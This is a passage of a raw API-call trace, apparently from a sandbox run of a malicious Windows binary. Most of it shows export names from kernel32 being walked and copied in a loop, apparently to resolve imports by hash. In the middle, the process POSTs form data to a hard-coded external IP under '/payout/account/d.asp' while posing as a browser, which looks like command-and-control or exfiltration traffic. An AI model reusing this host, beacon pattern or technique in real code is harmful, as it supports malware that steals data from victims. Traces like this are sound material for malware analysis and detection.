(lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0086.479] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0086.479] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0086.479] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0086.479] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0086.479] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0086.479] lstrlenA (lpString="CREATEJOBSET") returned 12 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0086.479] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0086.479] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0086.479] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0086.479] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0086.479] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0086.479] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0086.479] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0086.479] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0086.479] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0086.479] lstrlenA (lpString="CREATEPIPE") returned 10 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0086.479] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0086.479] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0086.479] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0086.479] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0086.479] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0086.480] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0086.480] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0086.480] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0086.480] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0086.480] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0086.480] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0086.480] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0086.480] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0086.480] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0086.480] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0086.480] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0086.480] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0086.480] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0086.480] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0086.480] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0086.480] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0086.480] lstrlenA (lpString="CREATETHREAD") returned 12 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0086.480] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0086.480] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0086.480] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0086.480] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0086.480] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0086.481] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0086.481] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0086.481] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0086.481] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0086.481] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0086.481] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0086.482] InternetOpenA (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0091.826] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0091.826] lstrcpyA (in: lpString1=0x2e7f0d8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0091.827] InternetCrackUrlA (in: lpszUrl="http://92.63.37.100/payout/account/d.asp", dwUrlLength=0x28, dwFlags=0x0, lpUrlComponents=0x2e7fd68 | out: lpUrlComponents=0x2e7fd68) returned 1 [0091.827] VirtualAlloc (lpAddress=0x0, dwSize=0x1400, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0091.878] InternetConnectA (hInternet=0xcc0004, lpszServerName="92.63.37.100", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0094.957] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/payout/account/d.asp", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0094.962] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0x2fe0000*, dwOptionalLength=0xdd) returned 1 [0101.446] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x0, lpdwBufferLength=0x2e7fda4, lpdwIndex=0x0 | out: lpBuffer=0x0, lpdwBufferLength=0x2e7fda4, lpdwIndex=0x0) returned 0 [0101.446] GetLastError () returned 0x2f76 [0101.446] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.446] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0101.447] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0101.447] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0101.447] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.448] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.448] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.449] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.449] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.449] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.450] VirtualAlloc (lpAddress=0x0, dwSize=0xd, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0101.450] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0101.451] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000 [0101.451] GetTickCount () returned 0x2ee6d [0101.451] GetTickCount () returned 0x2ee6d [0101.451] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000 [0101.451] lstrlenA (lpString="kernel32.dll") returned 12 [0101.452] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.452] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0101.452] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0101.452] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0101.452] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0101.452] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0101.452] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0101.452] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0101.452] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0101.452] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0101.452] lstrlenA (lpString="ADDATOMA") returned 8 [0101.452] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0101.452] lstrlenA (lpString="ADDATOMW") returned 8 [0101.452] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0101.452] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0101.452] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0101.453] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0101.453] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0101.453] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0101.453] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0101.453] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0101.453] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0101.453] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0101.453] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0101.453] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0101.453] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0101.453] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0101.453] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0101.453] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0101.453] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0101.453] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0101.453] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0101.453] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0101.453] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0101.453] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0101.454] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0101.454] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0101.454] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0101.454] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0101.454] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0101.454] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0101.454] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0101.454] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0101.454] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0101.454] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0101.454] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0101.454] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0101.454] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0101.454] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0101.454] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0101.454] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0101.454] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0101.454] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0101.455] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0101.455] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0101.455] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0101.455] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0101.455] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0101.455] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0101.455] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0101.455] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0101.455] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0101.455] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0101.455] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0101.455] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0101.455] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0101.455] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0101.455] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0101.455] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0101.455] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0101.456] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0101.456] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0101.456] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0101.456] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0101.456] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0101.456] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0101.456] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0101.456] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0101.456] lstrlenA (lpString="BACKUPREAD") returned 10 [0101.456] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0101.456] lstrlenA (lpString="BACKUPSEEK") returned 10 [0101.456] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0101.456] lstrlenA (lpString="BACKUPWRITE") returned 11 [0101.456] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0101.456] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0101.456] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0101.456] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0101.456] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0101.456] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0101.457] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0101.457] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0101.457] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0101.457] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0101.457] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0101.457] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0101.457] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0101.462] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0101.462] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0101.462] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0101.462] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0101.462] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0101.462] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0101.462] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0101.462] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0101.462] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0101.462] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0101.462] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0101.462] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0101.462] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0101.462] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0101.462] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0101.462] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0101.462] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0101.463] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0101.463] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0101.463] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0101.463] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.463] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0101.463] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0101.463] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0101.463] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0101.463] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0101.463] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0101.463] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") 